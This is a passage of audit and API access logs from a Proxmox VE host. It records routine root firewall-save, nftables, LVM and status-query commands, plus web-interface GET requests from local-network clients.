fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955473,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.473:67814): argc=1 a0=\"date\""} {"@timestamp":1781965695186,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.186:66720): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe062b4f60 a1=5f3a96666310 a2=5f3a9665f680 a3=5 items=2 ppid=64083 pid=64084 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964339647,"@rawstring":"node=pve type=EXECVE msg=audit(1781964339.647:60607): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781965959914,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965959.914:67841): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65148 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965134560,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:53 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 924"} {"@timestamp":1781964235958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964235.958:60155): arch=c000003e syscall=59 success=no exit=-2 a0=7fff33f9d410 a1=575123425310 a2=57512341e680 a3=5 items=1 ppid=57760 pid=57761 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955468,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.468:67812): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965695182,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.182:66718): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64083 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964339644,"@rawstring":"node=pve type=EXECVE msg=audit(1781964339.644:60606): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781965959908,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965959.908:67838): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65147 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965133442,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:52 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781964233416,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964233.416:60145): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57750 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955460,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.460:67811): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965695174,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.174:66717): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64082 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964338848,"@rawstring":"node=pve type=EXECVE msg=audit(1781964338.848:60605): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965959615,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965959.615:67835): arch=c000003e syscall=59 success=yes exit=0 a0=61301a93e500 a1=61301a93b5a0 a2=61301a8aab30 a3=8 items=3 ppid=1541 pid=65146 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm=\"pvesh\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965133442,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:52 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 870"} {"@timestamp":1781964233416,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964233.416:60144): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57750 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955452,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.452:67810): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965695166,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.166:66716): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64081 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964338835,"@rawstring":"node=pve type=EXECVE msg=audit(1781964338.835:60602): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965955585,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.585:67834): arch=c000003e syscall=59 success=yes exit=0 a0=652008a82d30 a1=652008a8ef40 a2=652008a5c680 a3=5 items=2 ppid=65139 pid=65145 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965132249,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781964233407,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964233.407:60142): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57749 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955447,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.447:67809): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965695155,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.155:66715): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64080 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964336057,"@rawstring":"node=pve type=EXECVE msg=audit(1781964336.057:60599): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965955582,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.582:67833): arch=c000003e syscall=59 success=yes exit=0 a0=651fe7f8cac8 a1=7ffff623d470 a2=652008a5c680 a3=651fe7f7024e items=2 ppid=65139 pid=65141 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965132249,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:51 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 923"} {"@timestamp":1781964233407,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964233.407:60141): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57749 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955438,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.438:67808): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965695148,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.148:66714): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64079 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964336054,"@rawstring":"node=pve type=EXECVE msg=audit(1781964336.054:60598): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965955581,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.581:67832): arch=c000003e syscall=59 success=yes exit=0 a0=7ffff623d430 a1=652008a7e3d0 a2=652008a5c680 a3=5 items=2 ppid=65139 pid=65140 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965132249,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 500"} {"@timestamp":1781964228394,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964228.394:60139): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57748 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955429,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.429:67807): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965695144,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.144:66713): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=57a6c1f95740 items=0 ppid=1156 pid=64078 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964336052,"@rawstring":"node=pve type=EXECVE msg=audit(1781964336.052:60597): argc=1 a0=\"date\""} {"@timestamp":1781965955576,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.576:67830): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65139 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965132249,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781964228394,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964228.394:60138): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57748 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965954893,"@rawstring":"node=pve type=EXECVE msg=audit(1781965954.893:67806): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965695142,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.142:66712): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e2c40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64078 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964336049,"@rawstring":"node=pve type=EXECVE msg=audit(1781964336.049:60595): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965955564,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.564:67829): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65138 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965131233,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:50 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964228385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964228.385:60136): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57747 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965954887,"@rawstring":"node=pve type=EXECVE msg=audit(1781965954.887:67803): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965695135,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.135:66711): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138970 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64077 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964336042,"@rawstring":"node=pve type=EXECVE msg=audit(1781964336.042:60594): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965955552,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.552:67828): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65137 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965131233,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:50 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 923"} {"@timestamp":1781964228385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964228.385:60135): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57747 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965954656,"@rawstring":"node=pve type=EXECVE msg=audit(1781965954.656:67800): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965695128,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.128:66710): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0eb3b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64076 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964336036,"@rawstring":"node=pve type=EXECVE msg=audit(1781964336.036:60593): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965955544,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.544:67827): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65136 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965130101,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781964225905,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.905:60131): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc5550b960 a1=5ec004083200 a2=5ec004061680 a3=5 items=1 ppid=57740 pid=57741 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965954616,"@rawstring":"node=pve type=EXECVE msg=audit(1781965954.616:67799): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965695122,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.122:66709): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0eb3b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64075 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964336030,"@rawstring":"node=pve type=EXECVE msg=audit(1781964336.030:60592): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965955535,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.535:67826): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65135 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965130101,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:48 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 904"} {"@timestamp":1781964225821,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964225.821:60113): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdc08793e0 a1=5f0c8dd38310 a2=5f0c8dd31680 a3=5 items=1 ppid=57721 pid=57722 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965953016,"@rawstring":"node=pve type=EXECVE msg=audit(1781965953.016:67798): argc=3 a0=\"/usr/bin/perl\" a1=\"/usr/bin/pvesh\" a2=\"/nodes/pve/877/status/current\""} {"@timestamp":1781965695116,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.116:66708): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed130 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64074 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964336022,"@rawstring":"node=pve type=EXECVE msg=audit(1781964336.022:60591): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965955532,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.532:67825): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5dce2ce88740 items=0 ppid=1156 pid=65134 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965129017,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:48 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781964223372,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964223.372:60103): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57711 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965949880,"@rawstring":"node=pve type=EXECVE msg=audit(1781965949.880:67797): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965695108,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.108:66707): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c7400 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64073 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964336015,"@rawstring":"node=pve type=EXECVE msg=audit(1781964336.015:60589): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965955529,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.529:67824): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc149f60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65134 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965129017,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:48 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781964223372,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964223.372:60102): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57711 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965949872,"@rawstring":"node=pve type=EXECVE msg=audit(1781965949.872:67794): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965695097,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.097:66706): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64072 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964336008,"@rawstring":"node=pve type=EXECVE msg=audit(1781964336.008:60588): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965955523,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.523:67823): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13bbf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65133 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965129017,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:48 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964223364,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964223.364:60100): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57710 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945414,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.414:67791): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965695087,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.087:66705): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64071 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964336002,"@rawstring":"node=pve type=EXECVE 